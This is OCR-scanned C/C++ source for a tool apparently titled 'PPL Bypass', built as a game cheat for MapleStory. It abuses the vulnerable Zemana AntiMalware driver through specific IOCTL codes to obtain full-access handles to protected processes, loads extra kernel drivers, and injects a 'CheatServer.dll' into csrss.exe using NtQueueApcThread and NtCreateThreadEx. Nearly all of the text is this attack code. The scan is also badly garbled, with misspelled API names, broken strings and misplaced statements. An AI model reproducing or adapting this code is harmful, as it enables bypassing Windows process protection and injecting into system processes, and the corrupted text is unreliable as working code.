memcpy(req->buffer, buffer, sizeof(buffer));

return TRUE;
}

HANDLE GetDeviceHandleFromVulnDrv()

{
HANDLE hDevice;

hDevice = CreateFile(
"W WWZemanaAntiMalware”,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL
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)i

if (thDevice) {
printf("Can't not find device driver.#n");
return FALSE;

}

return hDevice;

}

HANDLE GetProcessHandleFromVulnDrv(HANDLE hDevice, ULONG pid)
{
HANDLE hRecvProcess;
DeviceloControl(hDevice, 0x8000204C, &pid, sizeof(ULONG), &hRecvProcess,
sizeof(HANDLE), NULL, NULL);

return hRecvProcess;

}

HANDLE GetThreadHandleFromVulnDrv(HANDLE hDevice, ULONG tid)
{
HANDLE hRecvThread;
DeviceloControl(hDevice, 0x80002084, &tid, sizeof(ULONG), &hRecvThread, sizeof(HANDLE),
NULL, NULL);

return hRecvThread;

}

BOOL RegisterProcessToVulnDrv(HANDLE hDevice, ULONG pid)
{
if (!DeviceloControl(hDevice, 0x80002010, &pid, sizeof(ULONG), NULL, O, NULL, NULL)) {
return FALSE;
}
return TRUE;

}

<pipe.h>
#pragma once
#include <stdinth>

#define RECV_PIPE_NAME "WWW. WitpipewwCheatRecv"
#define SEND_PIPE_NAME "WWWW ¥ pipetWCheatSend"

#pragma pack(push,1)

typedef enum _CHEAT_LIST {
SetTargetHandle = 0,
GetServerState,
ScriptInfiniteOn,
ScriptMobVacOn,
ScriptAbilityOn,
ScriptInfiniteOff,
ScriptMobVacOff,
ScriptAbilityOff

YCHEAT_LIST;

typedef struct _REQUEST_HEADER {
uint8_t type;
uint32_t address;
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char buffer[256];
IREQUEST_HEADER, *PREQUEST_HEADER;

typedef struct _REPLY_HEADER {

uint8_t type;

uint32_t address;

uint32_t return_value;
}JREPLY_HEADER, *PREPLY_HEADER;
#pragma pack(pop)

<resource.cpp>
#include <iostream>
#include <windows.h>
#include <string>
#include <regex>
#include "pipe.h"
#include "Utility.h"

BOOL CALLBACK DialogProc(HWND arg1, UINT arg2, WPARAM wParam, LPARAM IParam);
LPTHREAD_START_ROUTINE ThreadProc(LPVOID [Param);

static bool dialog_state = true;

static char temp_process_buffer[256] = { O, };
std::istring command(MAX_BUFFER, 'WO0');
std::istring command_listtMAX_BUFFER, 'W0');

int main_before(int argc, char** argv)

{
HANDLE hTargetProcess = INVALID_HANDLE_VALUE;
HANDLE MyThread;

MyThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ThreadProc, NULL,
NULL, NULL);
if (Iset_privilege((LPSTR)("SeDebugPrivilege")))
{
ERROR_MACRO("set_privilege");
ExitProcess(0);

}

while (1)

{
if (Idialog_state)
{

ExitProcess(0);
}
SwitchToThread();
}
hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)atoi(argv[1]));
std:cout << "Target Handle : " << hTargetProcess << std:endl;
return O;

}

LPTHREAD_START_ROUTINE ThreadProc(LPVOID [Param) {
HWND myDlg = 0;
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MSG Msg;

myDIlg = CreateDialogParamA(GetModuleHandle(NULL), MAKEINTRESOURCE(IDD_DIALOGT),
GetDesktopWindow(), (DLGPROC)DialogProc, NULL);

ShowWindow(myDIlg, SW_SHOW); // show dialog

UpdateWindow(myDIg);

while (GetMessage(&Msg, NULL, 0, 0))
{
if (llsDialogMessage(myDlg, &MsQ))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
std::regex get_command("!([a-z]+) Ox([0-9]1+) {0}([0-91%)");
std::smatch base_match;

if (std::regex_search(command, base_match, get_command))
{
std::ssub_match match_list[3];
for (inti =0;i < 3; i++)
{
match_list[i] = base_matchli];
}
std:string cmd = match_list[0].str();
std:string arg1 = base_match[1].str();
std:string arg2 = base_match[2].str();
command_list.find(cmd);
}
}
return O;

}

BOOL CALLBACK DialogProc(HWND hWnd, UINT iMessage, WPARAM wParam,
LPARAM [Param)
{
static HANDLE hSCMgr;
static HANDLE hClientPipe = 0;
switch (iMessage) {
case WM_INITDIALOG:
hSCMgr = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
break;
case WM_COMMAND:
switch (wParam) {
// TODO: DriverLoader
case IDC_DRIVER_IMAGE:
if (IDriverLoader(hSCMgr, (LPSTR)"MitiBypass”, (LPSTR)"MitiKiller.sys"))
ERROR_MACRO("DriverLoader");
if (!DriverLoader(hSCMgr, (LPSTR)"VulnDriver", (LPSTR)"Vuln.sys"))
ERROR_MACRO("DriverLoader");

// Call create dispatch
CreateFile A("HWWH WWMitiLinker",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,

_28_




OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
break;
case |IDC_DLL_IMAGE:
// TODO: DIl Injector
DllLoader((LPSTR)"CheatServer.dll", (LPSTR)"csrss.exe");
break;
case IDC_BUTTONT1:
GetDlgltemTextA(hWnd, IDC_EDIT1, const_cast<char *>(command.c_str()), 256);
break;
case IDC_PRCFIND:
GetDlgltemTextA(hWnd, IDC_PRCNAME, temp_process_buffer, 256);
break;
case IDC_ECHOCRT:
if ({(hClientPipe = CreateFile(
PIPE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
)
{
ERROR_MACRO("CreateFile");
}
break;
case IDC_ECHOSEND:
REQUEST_HEADER req;
req.type = CHEAT_LIST::SetTargetHandle;
reg.address = 0;
memset(req.buffer, 0, 256);
memcpy(req.buffer, temp_process_buffer, strlen(temp_process_buffer));
if (IWriteFile(hClientPipe, &req, sizeof(REQUEST_HEADER), NULL, NULL))
ERROR_MACRO("WriteFile");
break;
case IDC_ECHOREAD:
REPLY_HEADER rep;
char temp_buffer[32];
if (IReadFile(hClientPipe, &rep, sizeof(REPLY_HEADER), NULL, NULL))
ERROR_MACRO("ReadFile");
sprintf(temp_buffer, "ProcessHandle : %x¥#n", rep.return_value);
MessageBox(NULL, temp_buffer, "Nice", MB_OK);
break;
}
break;
case WM_CLOSE:
CloseHandle(hSCMgr);
CloseHandle(hClientPipe);
EndDialog(hWnd, 0);
dialog_state = false;
break;
}

return false;

}
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<main.cpp>

#pragma once

#include <nanogui/nanogui.h>
#include <iostream>

#include <list>

#include "gui.h"

#include "Utility.h"

#include "resource.h"

using namespace nanogui;
using namespace std;

HANDLE hClientPipe = 0;
HANDLE hSCMgr = 0;

int main(int /* argc */, char ** /* argv */) {
nanogui:init();

{

// create a fixed size screen with one window

Screen *screen = new Screen({ width, height }, "PPL Bypass", false);
Window *window = new Window(screen, "");

window->setPosition({ 0, 0 });

window->setFixedSize({ width, height });

// Background Image

GLTexture texture(""),

auto data = texture.load(imageDirectory + "background.png");

using imagesDataType = vector<pair<GLTexture, GLTexture:handleType>>;
imagesDataType mlmagesData;

mlmagesData.emplace_back(std::move(texture), std::move(data));

auto imageView = new ImageView(window, mlmagesData[0].first.texture());
imageView->setPosition({ 0, 0 });

imageView->setFixedSize({ width, height });
imageView->setFixedScale(true);

auto vscroll = new VScrollPanel(window);
vscroll->setFixedSize({ width, height });
auto wrapper = new Widget(vscroll);
wrapper->setFixedSize({ width, height });

// TextBox

TextBox *textBox = new TextBox(wrapper, "MapleStory.exe");
textBox->setEditable(true);

textBox->setFontSize(30);

textBox->setFixedSize({ width_50per, height_10per });
textBox->setFormat("[a-z A-Z 0-9]+.exe");
textBox->setPosition({ width_20per, 25 });
textBox->requestFocus();

// Submit button
list<Button*> buttonList;
Button *button;

ADD_BUTTON("submit", 28, width_10per, height_10per, width_50per + width_20per +

10, 25, false);
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button->setCallback([&buttonList, textBox]

{

processName = textBox->value().c_str();
button_call1(buttonList, (int)SUBMIT, (int)CONNECTION);

i

NVGcontext *temp = screen->nvgContext();
ImagePanel *imgPanel;

vector<pair<int, string>> icons;

TextBox *logview;

// Driver Load button

ADD_BUTTON(" Driver Load", 33, width_30per, height_20per, width_2_5per,
height_20per, true);

button->setTooltip("Loading Vulnerable Drivers");

button->setCallback([&buttonList, &logview]

{

logview->setValue("");

button_call1(buttonList, (int)DRIVER_LOAD, (int)DLL_INJECTION);

D

ADD_IMAGE(imageDirectory + "0/", width_2_5per, height_20per + (int)((height_20per -
81) / 2), true);
imgPanel->setCallback([&buttonList, &logview](int I)
{
logview->setValue("");
if (button_check(buttonList, (int)DRIVER_LOAD, (int)DLL_INJECTION))
button_call1(buttonList, (int)DRIVER_LOAD, (int)DLL_INJECTION);
h

// DLL Injection buttion

ADD_BUTTON(" DLL Injection”, 32, width_30per, height_20per, width_30per
+ width_2_5per * 2, height_20per, false);

button->setTooltip("User DLL injection into csrs.exe process");
button->setCallback([&buttonList] { button_call1(buttonList, (int)DLL_INJECTION,
(int)SUBMIT); });

ADD_IMAGE(imageDirectory + "1/", width_2_5per * 2 + width_30per, height_20per +

(int)((height_20per - 81) / 2), false);

imgPanel->setCallback([&buttonList](int 1)

{
if (button_check(buttonList, (int)DLL_INJECTION, (int)SUBMIT)) button_call1(buttonlList,
(int)DLL_INJECTION, (int)SUBMIT);

)

// Connection button

ADD_BUTTON(" Connection", 34, width_30per, height_20per, width_30per * 2
+ width_2_5per * 3, height_20per, false);

button->setTooltip("This button has a fairly long tooltip. It is so long, in ");
button->setCallback([&buttonList]

{ button_call1(buttonList, (int)CONNECTION, (int)TOGGLEO1); });

ADD_IMAGE(imageDirectory + "2/", width_2_5per * 3 + width_30per * 2, height_20per
+ (int)((height_20per - 81) / 2), false);

imgPanel->setCallback([&buttonList](int 1)

{
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if (button_check(buttonList, (int)CONNECTION, (int)TOGGLEO1)) button_call1(buttonList,
(int) CONNECTION, (int)TOGGLEO1);
bl

// Toggle button

ADD_BUTTON("Script1(Infinite)", 30, width_30per, height_15per, width_2_5per,
height_47per, false);

button->setFlags(Button:ToggleButton);

button->setBackgroundColor(Color(0, 0, 255, 25));
button->setChangeCallback([&buttonList](bool state)

{ button_call1(buttonList, (int)TOGGLEO1, (int)state); });

ADD_BUTTON("Script2(MobVac)", 30, width_30per, height_15per, width_2_5per,
height_47per + height_15per + height_1_25per, false);
button->setFlags(Button:ToggleButton);

button->setBackgroundColor(Color(0, 0, 255, 25));
button->setChangeCallback([](bool state)

{ cout << "Script2(MobVac) state: " << state << endl; });
button->setChangeCallback([&buttonList](bool state) { button_call1(buttonList,
(int)TOGGLEOZ2, (int)state); });

ADD_BUTTON("Script3(Ability)", 30, width_30per, height_15per, width_2_5per,
height_47per + height_15per * 2 + height_1_25per * 2, false);
button->setFlags(Button:ToggleButton);
button->setBackgroundColor(Color(0, 0, 255, 25));
button->setChangeCallback([](bool state)

{ cout << "Script3(Ability) state: " << state << endl; });
button->setChangeCallback([&buttonList](bool state)

{ button_call1(buttonList, (int)TOGGLEOS3, (int)state); });

// Log View

logview = new TextBox(wrapper, "");

logview->setFontSize(20);

logview->setValue("Log View");

logview->setFixedSize({ width - (width_30per + width_2_5per * 3), height_47per });
logview->setPosition({ width_30per + width_2_5per * 2, height_47per });

vscroll_log = new VScrollPanel(window);
vscroll_log->setFixedSize({ width - (width_30per + width_2_5per * 3), height_47per });
vscroll_log->setPosition({ width_30per + width_2_5per * 2, height_47per });

wrapper_log = new Widget(vscroll_log);

wrapper_log->setFixedSize({ width - (width_30per + width_2_5per * 3), height_47per });
wrapper_log->setPosition({ width_30per + width_2_5per * 2, height_47per });
wrapper_log->setlLayout(new GridLayout(Orientation::Horizontal, 1));// 1 columns

// BEOR Ats YHIO|EE Fo5t7| 2Ish 2f AtEof] 4d
for (int i=0; i<LOG_LABEL_MAX; i++) {

ADD_LABEL(" ")

labelList.push_back(labelLog);

labelListEmpty++;
}

// Version & CopyRights
Label *label = new Label(wrapper, "Version: 1.0");
label->setPosition({ 6, height - 22 });
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label = new Label(wrapper, "2019. Team of Dapdap. All rights reserved.");
label->setPosition({ width - 238, height - 22 });

screen->performLayout();
screen->setVisible(true);

Screen *screen2 = new Screen({ width_popup, height_popup }, "A Production Crew",
false);

Window *window2 = new Window(screen2, "");

window?2->setPosition({ 0, 0 });

window?2->setFixedSize({ width_popup, height_popup });

//makers Image

GLTexture texture2("");

auto data2 = texture2.load(imageDirectory + "makers.png");

using imagesDataType = vector<pair<GLTexture, GLTexture:handleType>>;
imagesDataType mlmagesData2;
mimagesData2.emplace_back(std::move(texture2), std::move(data2));

auto imageView2 = new ImageView(window2, mlmagesData2[0].first.texture());
imageView2->setPosition({ 0, 0 });

imageView?2->setFixedSize({ width_popup, height_popup });
imageView?2->setFixedScale(true);

auto wrapper2 = new Widget(window?);
wrapper2->setFixedSize({ width_popup, height_popup });

screen2->performLayout();
screen2->setVisible(true);

nanogui:mainloop();

}
nanogui:shutdown();

CloseHandle(hClientPipe);
CloseHandle(hSCMgr);
return O;

}

bool button_call1(list<Button*> btnList, int before, int after)
{
try {
REQUEST_HEADER regq;
bool state = after; // For the meaning of the Toggle button
list<Button*>:iterator it = btnList.begin();
advance(it, before);

hSCMgr = OpenSCManagerA(NULL, NULL, SC_MANAGER_ALL_ACCESS);
switch (before) {
// TODO. SUBMIT BUTTON FUNCTION
case SUBMIT:
printIn("[INFO] ProcessName :
break;

+ processName);
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// TODO. DRIVER_LOAD BUTTON FUNCTION
case DRIVER_LOAD:
printIn("[INFO] Click the Driver_Load Image button");
if (IDriverLoader(hSCMgr, (LPSTR)"MitiBypass", (LPSTR)"MitiKiller.sys"))
ERROR_MACRO("DriverLoader");
if (IDriverLoader(hSCMgr, (LPSTR)"VulnDriver", (LPSTR)"Vuln.sys"))
ERROR_MACRO("DriverLoader");
// Call create dispatch
CreateFileA("#WWHW ¥WWMitiLinker", GENERIC_READ | GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
break;

// TODO. DLL_INJECTION BUTTON FUNCTION

case DLL_INJECTION:
DllLoader((LPSTR)"CheatServer.dll", (LPSTR)"csrss.exe");
printin("[INFO] Click the DLL_Injection Image button");
break;

// TODO. CONNECTION BUTTON FUNCTION

case CONNECTION:
if (/(hClientPipe = CreateFile(RECV_PIPE_NAME, GENERIC_WRITE, 0, NULL,
OPEN_EXISTING, 0, NULL)))

// Ofl2] 2MA| catch 222 Y 2
ERROR_MACRO("CreateFile");

}

req.type = CHEAT_LIST:SetTargetHandle;

reg.address = 0;

memset(req.buffer, 0, 256);

memcpy(req.buffer, processName.c_str(), processName.size());

if (!WriteFile(hClientPipe, &req, sizeof(REQUEST_HEADER), NULL, NULL))

// O3] 2MA|l catch 292 B2 7
ERROR_MACRO(("WriteFile");
}

(*it)->setEnabled(false);

for (it = btnList.begin(), advance(it, after); it != btnList.end(); ++it)
(*it)->setEnabled(true);

printIn("[INFO] Click the Connection Image button");

return true;

// TODO. TOGGLEO1 BUTTON FUNCTION
case TOGGLEOT:
if (state) // ON
{
if (MakeSendPacket(&req, CHEAT_LIST::ScriptinfiniteOn, 0, NULL))
{
if (!WriteFile(hClientPipe, &req, sizeof(REQUEST_HEADER), NULL, NULL))
ERROR_MACRO("WriteFile");
}
printIn("[INFO] Script1(Infinite) state: True");
}
else // OFF
{
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if (MakeSendPacket(&req, CHEAT_LIST::ScriptInfiniteOff, 0, NULL))
{
if (!WriteFile(hClientPipe, &req, sizeof(REQUEST_HEADER), NULL, NULL))
ERROR_MACRO("WriteFile");
}
printin("[INFO] Script1(Infinite) state: False");
}

return true;

// TODO. TOGGLEO1 BUTTON FUNCTION
case TOGGLEQO?2:
if (state) // ON
{
if (MakeSendPacket(&req, CHEAT_LIST:ScriptMobVacOn, 0, NULL))
{
if (IWriteFile(hClientPipe, &req, sizeof(REQUEST_HEADER), NULL, NULL))
ERROR_MACRO("WriteFile");
}
printin("[INFO] Script2(MobVac) state: True");
}
else // OFF
{
if (MakeSendPacket(&req, CHEAT_LIST::ScriptMobVacOff, 0, NULL))
{
if (!WriteFile(hClientPipe, &req, sizeof(REQUEST_HEADER), NULL, NULL))
ERROR_MACRO("WriteFile");
}
printin("[INFO] Script2(MobVac) state: False");
}

return true;

// TODO. TOGGLEO1 BUTTON FUNCTION
case TOGGLEOS3:
if (state) // ON
{
if (MakeSendPacket(&req, CHEAT_LIST::ScriptAbilityOn, 0, NULL))
{
if (IWriteFile(hClientPipe, &req, sizeof(REQUEST_HEADER), NULL, NULL))
ERROR_MACRO("WriteFile");
}
printin("[INFO] Script3(Ability) state: True");
}
else // OFF
{
if (MakeSendPacket(&req, CHEAT_LIST::ScriptAbilityOff, 0, NULL))
{
if (!WriteFile(hClientPipe, &req, sizeof(REQUEST_HEADER), NULL, NULL))
ERROR_MACRO("WriteFile");
}
printIn("[INFO] Script3(Ability) state: False");
}

return true;

default:

ERROR_MESSAGE = "[ERR ] There is no information about the image button";

throw ERROR_MESSAGE;
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}

*it)->setEnabled(false);

it = btnList.begin();

advance(it, after);

(*it)->setEnabled(true);

}

catch (...) {
printin(ERROR_MESSAGE);
return false;

}

return true;

}

bool button_check(list<Button*> btnList, int before, int after)
{
list<Button*>:iterator it = btnList.begin();
advance(it, before);
if ((*it)->enabled() == false) {
return false;
}

return true;

}

void printin(std::string msg) {

#if LOGING_CONSOLE
stdicout << msg << std:end|;

#else
if (labelListEmpty) { (labelList{LOG_LABEL_MAX - labelListEmpty--])->setCaption(msg); }
else { ADD_LABEL(msg); }

#endif

}

void printin(std::string msg, NTSTATUS hexcode) {
stringstream ss;
ss << hex << hexcode;
msg += ss.str();

#if LOGING_CONSOLE
std:cout << msg << std:end|;

#else
if (labelListEmpty) { (labelList[LOG_LABEL_MAX - labelListEmpty--])->setCaption(msg); }
else { ADD_LABEL(msg); }

#endif

}

void printin(std::string msg /* Message */, DWORD errcode) {
CString str;
str.Format("%d", errcode);
msg += str;

#if LOGING_CONSOLE
std::cout << msg << std:end|;
#else
if(labelListEmpty) { (labelListfLOG_LABEL_MAX - labelListEmpty--])->setCaption(msg); }
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else { ADD_LABEL(msg); }
#endif
}

Cheat Server

<pipe.h>
#include <stdinth>
#pragma once

#pragma pack(push,1)
typedef enum _CHEAT_LIST {
GetTargetHandle = 0,
Read = 1,
Write,
ScriptOn,
ScriptOff
JCHEAT_LIST; // use by type

// REQ, REP struct must define opposite order
// e.g) REQ -> REP, REP -> REQ
typedef struct _REPLY_HEADER {
uint8_t type;
uint32_t address;
char buffer[256];
JREPLY_HEADER, *PREPLY_HEADER;

typedef struct _REQUEST_HEADER {

uint8_t type;

uint32_t address;

uint32_t return_value;
}REQUEST_HEADER, *PREQUEST_HEADER,;
#pragma pack(pop)

<main.cpp>
#include <iostream>
#include <windows.h>
#include <winternl.h> // NtXXXX
#include <TIHelp32.h> // Get Process List..
#include "undocument.h"
#include "pipe.h"

#pragma comment (lib, "ntdll.lib")

#define PIPE_NAME "WWW# WitpipeWWCheatPipe"

#define ERROR_MACRO(x) std:cout << "[DBG] Can't call " << x << " Reason: "<<
GetlastError() << std:endl;

static int howmuch;

// TODO: GetHandleList from csrss

// -> NtQuerySystemInformation

PPROCESS_HANDLE_SNAPSHOT_INFORMATION GetInsideProcessHandle();

DWORD ImageNameToProcessld(const char* ImageName);

HANDLE GetTargetProcessHandle(PPROCESS_HANDLE_SNAPSHOT_INFORMATION phsi,
DWORD pid);
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BOOL ServerThread(LPVOID IParam)

{
char proc_name[256] = { O, };
HANDLE hPipe, hTargetProcess;
PPROCESS_HANDLE_SNAPSHOT_INFORMATION Handlelnfo;
DWORD TargetPid;
DWORD read_byte = 0;

REPLY_HEADER rep;

hPipe = CreateNamedPipe(
PIPE_NAME,
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
0,
0,
NMPWAIT_USE_DEFAULT_WAIT,
NULL
)
if (ConnectNamedPipe(hPipe, NULL)){
while (1) {
ReadFile(hPipe, &rep, sizeof(REPLY_HEADER), NULL, NULL);
switch (rep.type)
{
case CHEAT_LIST:GetTargetHandle:
Handlelnfo = GetlnsideProcessHandle();
TargetPid = ImageNameToProcessld(rep.buffer);
hTargetProcess = GetTargetProcessHandle(Handlelnfo, TargetPid);
REQUEST_HEADER regq;
req.type = CHEAT_LIST::GetTargetHandle;
reg.address = 0;
reg.return_value = (uint32_t)hTargetProcess;
if (IWriteFile(hPipe, &req, sizeof(REQUEST_HEADER), NULL, NULL))
ERROR_MACRO("WriteFile");
free(Handlelnfo);
break;
case CHEAT_LIST:Read:
break;
case CHEAT_LIST::Write:
break;
case CHEAT_LIST:ScriptOn:
break;
case CHEAT_LIST:ScriptOff:
break;
}
}
}
return O;
}
BOOL WINAPI DIIMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID IpReserved)
{
HANDLE hThread = O;
switch (fdwReason)

{
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case DLL_PROCESS_ATTACH:
hThread = CreateThread(NULL, NULL, (LPTHREAD_START ROUTINE)ServerThread, NULL,
NULL, NULL);
break;

case DLL_THREAD_ATTACH:
// Do thread-specific initialization.
break;

case DLL_THREAD_DETACH:
CloseHandle(hThread);
// Do thread-specific cleanup.
break;

case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
break;

}

Sleep(2000);

//SwitchToThread();

//Sleep(2000);

return TRUE;

}

#define BASIC_BUFFER_CHECKER

PPROCESS_HANDLE_SNAPSHOT_INFORMATION GetInsideProcessHandle() {
NTSTATUS status = STATUS_INFO_LENGTH_MISMATCH; // must intialize mismatch
ULONG handle_len = 0;
char* buffer = (char*)malloc(handle_len); // base

do {

if (status == STATUS_INFO_LENGTH_MISMATCH) {
free(buffer);
buffer = (char*)malloc(handle_len);

}

} while (status = NtQueryInformationProcess(
GetCurrentProcess(),
(PROCESSINFOCLASS)51,
buffer,
handle_len,

&handle_len

)3
return (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)buffer;

}

DWORD ImageNameToProcessld(const char* ImageName) {
PROCESSENTRY32 ProcessEntry;
HANDLE hSnapShot;

ProcessEntry.dwSize = sizeof(PROCESSENTRY32);
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (!hSnapShot){

ERROR_MACRO("CreateToolhelp32Snapshot");

return O;

}
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Process32First(hSnapShot, &ProcessEntry);
do {
if (Istrncmp(ProcessEntry.szExeFile, ImageName, strlen(ImageName))){
DWORD session_id;
ProcessldToSessionld(ProcessEntry.th32ProcessID, &session_id);
if (session_id == 1) // check only session1
return ProcessEntry.th32Process|D;
}
} while (Process32Next(hSnapShot, &ProcessEntry));
return O;

}

HANDLE GetTargetProcessHandle(PPROCESS_HANDLE_SNAPSHOT_INFORMATION phsi,
DWORD pid){
for (ULONG i = O; i < phsi->NumberOfHandles; i++){
if (phsi->Handles[i].ObjectTypelndex == OBJECT_TYPE_PROCESS ||
phsi->Handles[i].ObjectTypelndex == OBJECT_TYPE_JOB){
if (GetProcessld(phsi->Handles[i].HandleValue) == pid)
{

}
}
}

std:cout << "can't find pid's handle" << std:endl;
return O;

return (HANDLE)(phsi->Handles[i].HandleValue);

}

dll_injector

<main.cpp>
#include <iostream>
#include <Windows.h>
#include <winternl.h>
#include <TlHelp32.h>

#pragma comment (lib, "ntdll.lib")
#define ERROR_MACRO(x) std::cout << "[DBG] Can't call " << x << " Reason: "<<
GetLastError() << std::endl;

typedef NTSTATUS(NTAPI *pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK
AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, CLIENT_ID* cl_id);

typedef NTSTATUS(NTAPI *pNtQueueApcThread)(HANDLE ThreadHandle,
PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL,
PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL):

pNtOpenThread NtOpenThread = (pNtOpenThread)
GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtOpenThread"):

pNtQueueApcThread NtQueueApcThread = (pNtQueueApcThread)
GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtQueueApcThread");

typedef NTSTATUS (NTAPI *MyRtlCreateUserThread)(

IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
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IN ULONG StackZeroBits,

IN OUT PULONG StackReserved,

IN OUT PULONG StackCommit,

IN PVOID StartAddress,

IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,

OUT CLIENT_ID* ClientID

)

struct NtCreateThreadExBuffer
{
SIZE_T Size;
SIZE_T Unknownl:
SIZE_T Unknown?2:
PULONG Unknown3;
SIZE_T Unknown4:
SIZE_T Unknownb:
SIZE_T Unknown6:
PULONG Unknown7;
SIZE_T Unknown8;
}
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateThreadEx(PHANDLE,
ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID,
BOOL, SIZE_T, SIZE_T, SIZE_T, LPVOID);

BOOL set_privilege(LPSTR prv_name) {
HANDLE hToken:;
TOKEN_PRIVILEGES tempTP:

LUID tempLUID;

if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
ERROR_MACRO("OpenProcessToken");
return FALSE;:

t

if (!LookupPrivilegeValueA(NULL, prv_name, &tempLUID)) {
ERROR_MACRO("LookupPrivilesgeValueA"):
return FALSE,

t

tempTP.PrivilegeCount = 1: // size of array

tempTP.Privileges->Luid = tempLUID;

tempTP.Privileges->Attributes = SE_PRIVILEGE_ENABLED |

SE_PRIVILEGE_ENABLED_BY_DEFAULT;

if (!AdjustTokenPrivileges(hToken, FALSE, &tempTP, sizeof(tempTP), NULL, NULL)) {
ERROR_MACRO("AdjustTokenPrivileges"):
return FALSE;

t

CloseHandle(hToken);

return TRUE:

t

HANDLE GetPPLHandle(DWORD pid) {
HANDLE hDevice, hProcess;
DWORD myPid;

hDevice = CreateFile(
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"\\\\.\\ZemanaAntiMalware",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL

)

if (IhDevice)

printf("Can't not find device driver.\n"):
return 0;
t
// Registering my process with the driver
myPid = GetCurrentProcessld():
if (IDeviceloControl(hDevice, 0x80002010, &myPid, sizeof(DWORD), NULL, 0, NULL,
NULL)) {
CloseHandle(hDevice):
return 0;

}

// Using IOCTL to get full access process handle
DeviceloControl(hDevice, 0x8000204C, &pid, sizeof(DWORD), &hProcess,
sizeof(HANDLE), NULL, NULL);

CloseHandle(hDevice);

return hProcess;

t
typedef HMODULE (WINAPI *MyLoadLibrary)(_In_ LPCSTR IpLibFileName):

int main(int argc, char **argv)
{
HANDLE hTarget;
MyLoadLibrary temp:
MyRtlCreateUserThread templ;
LPVOID buffer:
NtCreateThreadExBuffer ntbuffer;
HANDLE hThread:
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY pmdcp:
PROCESS_MITIGATION _BINARY _SIGNATURE_POLICY pmbsp;
HANDLE TestHandle;
CLIENT_ID abc;

memset(&ntbuffer, 0, sizeof(NtCreateThreadExBuffer));
DWORD temp_dwordl = 0O;
DWORD temp_dword2 = 0;

ntbuffer.Size = sizeof(NtCreateThreadExBuffer):
ntbuffer.Unknownl = 0x10003;
ntbuffer.Unknown?2 = 0x8;

ntbuffer.Unknown3 = &temp_dword?2;
ntbuffer.Unknown4 = 0;
ntbuffer.Unknownb5 = 0x10004;
ntbuffer.Unknown6 = 4;
ntbuffer.Unknown7 = &temp_dwordl;
ntbuffer.Unknown8 = 0
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set_privilege(LPSTR("SeDebugPrivilege")):

hTarget = GetPPLHandle(atoi(argv[1]));

std::cout << "hTarget : " << hTarget << std::endl;
GetProcessMitigationPolicy(hTarget, ProcessDynamicCodePolicy, (PVOID)&pmdcp,
sizeof(pmdcp));

GetProcessMitigationPolicy(hTarget, ProcessSignaturePolicy, (PVOID)&pmbsp,
sizeof(pmbsp)):

/* CSRSS Mitigation Checker */
std::cout << "-------- CSRSS ProcessDynamicCodePolicy -------- << std::endl;
std::cout << "AllowRemoteDowngrade : " << pmdcp.AllowRemoteDowngrade <<
std:iendl;

std::cout << "AllowThreadOptOut : " << pmdcp.AllowThreadOptOut << std::endl;

std::cout << "AuditProhibitDynamicCode : " << pmdcp.AuditProhibitDynamicCode <<

std::endl;

std::cout << "ProhibitDynamicCode : " << pmdcp.ProhibitDynamicCode << std::endl;

n

std::cout << "-------- CSRSS ProcessSignaturePolicy -------- << std:iendl;
std::cout << "AuditMicrosoftSignedOnly : " << pmbsp.AuditMicrosoftSignedOnly <<
std:iendl;

std::cout << "AuditStoreSignedOnly : " << pmbsp.AuditStoreSignedOnly << std::endl:

std:icout << "MicrosoftSignedOnly : " << pmbsp.MicrosoftSignedOnly << std::endl;
std::cout << "MitigationOptln : " << pmbsp.MitigationOptln << std::endl;

std::cout << "StoreSignedOnly : " << pmbsp.StoreSignedOnly << std::endl;
GetProcessMitigationPolicy(GetCurrentProcess(), ProcessDynamicCodePolicy,
(PVOID)&pmdcp, sizeof(pmdcep)):

GetProcessMitigationPolicy(GetCurrentProcess(), ProcessSignaturePolicy,
(PVOID)&pmbsp, sizeof(pmbsp)):

/* MyProcess Mitigation Checker */

std::cout << "-------- MyProcessDynamicCodePolicy -------- << std::endl:
std::cout << "AllowRemoteDowngrade : " << pmdcp.AllowRemoteDowngrade <<
std:iendl;

std::cout << "AllowThreadOptOut : " << pmdcp.AllowThreadOptOut << std::endl;

std::cout << "AuditProhibitDynamicCode : " << pmdcp.AuditProhibitDynamicCode <<

std::endl;

std::cout << "ProhibitDynamicCode : " << pmdcp.ProhibitDynamicCode << std::endl;

std:icout << "-------- MyProcessSignaturePolicy -------- << std:iendl;
